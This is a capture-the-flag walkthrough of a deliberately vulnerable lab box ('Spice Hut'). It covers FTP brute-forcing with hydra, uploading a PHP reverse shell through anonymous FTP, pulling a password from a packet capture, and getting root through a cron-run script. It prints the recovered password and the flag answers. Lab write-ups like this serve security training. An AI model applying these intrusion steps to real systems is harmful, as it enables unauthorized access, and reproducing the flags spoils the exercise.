Abuse traditional vulnerabilities via untraditional means.
We are Spice Hut, a new startup company that just made it big! We offer a variety of spices and club sandwiches (in case you get hungry), but that is not why you are here. To be truthful, we aren't sure if our developers know what they are doing and our security concerns are rising. We ask that you perform a thorough penetration test and try to own root. Good luck!
Can do! ... err... Can TRY! Let's dig in. Of course, first things first - enumeration.
Looks like we have FTP, SSH and port 80 open on this box. It's running linux 3.13
Well, not much to do here. There's no site and the only comment in the source code is a question about when are we going to be up? Even the contact us link doesn't go anywhere.
OK, let's do up a gobuster and dirb
I am REALLY starting to like dirb for my enumeration instead of gobuster... way more detail. Both found the "files" folder and there looks to be some ftp stuff in there so let's go check that out.
Inside the root of files, we have two files. One is a text file that says
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.The other is an image called important.jpg, which is meme of the Doge dog wearing an among us suit saying
Everybody asks who's the imposter but nobody asks how's the imposterLooks like we might have a name... Maya. Let's keep tabs on that. Moving into the actual FTP folder, we have nothing. So, my guess is there's something with this image. Using binwalk we see it's just a png.
Well, we have what might be a username - maya. Let's play with that.
hydra -t 1 -l maya /usr/share/wordlists/rockyou.txt -vV 10.10.84.78 ftpWhile that's doing it's thing let's poke around a bit. First let's hit the FTP site and see if we can get into it anonymously.
Well.. that's bad. Wonder if we can upload stuff. We download the pentestmonkey php reverse shell, put our IP in there, use put to upload it to the FTP site, visit the site and voila.. reverse shell.
cd'ing around, we have a home directory for a dude named lennie but we don't have access. Going back to the root, we see an interesting directory called "incidents". Inside that is a pcapng file. These files are usually a network traffic capture. There's also a initrd.img and a .old file there too - not sure why there's a disc image in there... let's remember that - but for the time being we have a recipe.txt I think we'll need for the first question.
What is the secret spicy soup recipe? love
Well so we got this far, now we need to get user access. I'm going to stop our hydra brute force on maya and move over to lennie. While that's happening, let's grab that pcapng file.
cp suspicious.pcapng /var/www/html/files/ftpIf we look at the conversation between 192.168.22.139 and filter out the wireshark with TCP.stream eq 7 by rick clicking on line number 37 and following the TCP stream - we see a very nice conversation with some nice tid-bits that can help us. It looks like someone gave this a go already and tried a password they have.. .and now WE have.
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
17:40:21 up 20 min, 1 user, load average: 0.00, 0.03, 0.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
vagrant pts/0 10.0.2.2 17:21 1:09 0.54s 0.54s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
data
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
$ ls -la
total 96
drwxr-xr-x 26 root root 4096 Oct 2 17:24 .
drwxr-xr-x 26 root root 4096 Oct 2 17:24 ..
drwxr-xr-x 2 root root 4096 Sep 25 08:12 bin
drwxr-xr-x 3 root root 4096 Sep 25 08:12 boot
drwxr-xr-x 1 vagrant vagrant 140 Oct 2 17:24 data
drwxr-xr-x 16 root root 3620 Oct 2 17:20 dev
drwxr-xr-x 95 root root 4096 Oct 2 17:24 etc
drwxr-xr-x 4 root root 4096 Oct 2 17:26 home
drwxr-xr-x 2 www-data www-data 4096 Oct 2 17:24 incidents
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img -> boot/initrd.img-4.4.0-190-generic
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img.old -> boot/initrd.img-4.4.0-190-generic
drwxr-xr-x 22 root root 4096 Sep 25 08:22 lib
drwxr-xr-x 2 root root 4096 Sep 25 08:10 lib64
drwx------ 2 root root 16384 Sep 25 08:12 lost+found
drwxr-xr-x 2 root root 4096 Sep 25 08:09 media
drwxr-xr-x 2 root root 4096 Sep 25 08:09 mnt
drwxr-xr-x 2 root root 4096 Sep 25 08:09 opt
dr-xr-xr-x 125 root root 0 Oct 2 17:19 proc
-rw-r--r-- 1 www-data www-data 136 Oct 2 17:24 recipe.txt
drwx------ 3 root root 4096 Oct 2 17:24 root
drwxr-xr-x 25 root root 960 Oct 2 17:23 run
drwxr-xr-x 2 root root 4096 Sep 25 08:22 sbin
drwxr-xr-x 2 root root 4096 Oct 2 17:20 snap
drwxr-xr-x 3 root root 4096 Oct 2 17:23 srv
dr-xr-xr-x 13 root root 0 Oct 2 17:19 sys
drwxrwxrwt 7 root root 4096 Oct 2 17:40 tmp
drwxr-xr-x 10 root root 4096 Sep 25 08:09 usr
drwxr-xr-x 1 vagrant vagrant 118 Oct 1 19:49 vagrant
drwxr-xr-x 14 root root 4096 Oct 2 17:23 var
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
$ whoami
www-data
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@startup:/$ cd
cd
bash: cd: HOME not set
www-data@startup:/$ ls
ls
bin etc initrd.img.old media recipe.txt snap usr vmlinuz.old
boot home lib mnt root srv vagrant
data incidents lib64 opt run sys var
dev initrd.img lost+found proc sbin tmp vmlinuz
www-data@startup:/$ cd home
cd home
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ ls
ls
lennie
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ sudo -l
sudo -l
[sudo] password for www-data: c4ntg3t3n0ughsp1c3
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data: c4ntg3t3n0ughsp1c3
sudo: 3 incorrect password attempts
www-data@startup:/home$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ftp:x:112:118:ftp daemon,,,:/srv/ftp:/bin/false
lennie:x:1002:1002::/home/lennie:
ftpsecure:x:1003:1003::/home/ftpsecure:
www-data@startup:/home$ exit
exit
exit
$ exitWell, let's copy a few things they did. Running that python line will upgrade our shell so we can run the SU command. We'll su to lennie and provide that password above - voila.
What are the contents of user.txt? THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
Looks like there's some shell scripts in there running as root too! The next hint is "Scripts" and look there's a scripts folder! Let's cat out the planner.sh script there, which, btw is set to run as root.
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.shOk so this puts a variable into a txt file then runs another script. The txt doesn't have anything in it and the print.sh is just set to echo out "Done!" and runs as the user lennie.
Okay what if we echo out a new command to that print.sh script? Is it running that secondary script as root too since it's called from another script as root?
First we grab a quick one-liner reverse shell from pentestmonkey's cheat sheet then echo it out into the lennie owned script planner.sh .
Then we start a netcat listener and almost immediately it's run.
What are the contents of root.txt? THM{f963aaa6a430f210222158ae15c3d76d}
I think this was a wild guess because I had NO idea that root had a cron job, I had only planned on running the script manually... If anyone can tell me how I would have found this cronjob before running, I'd love to know.
Comments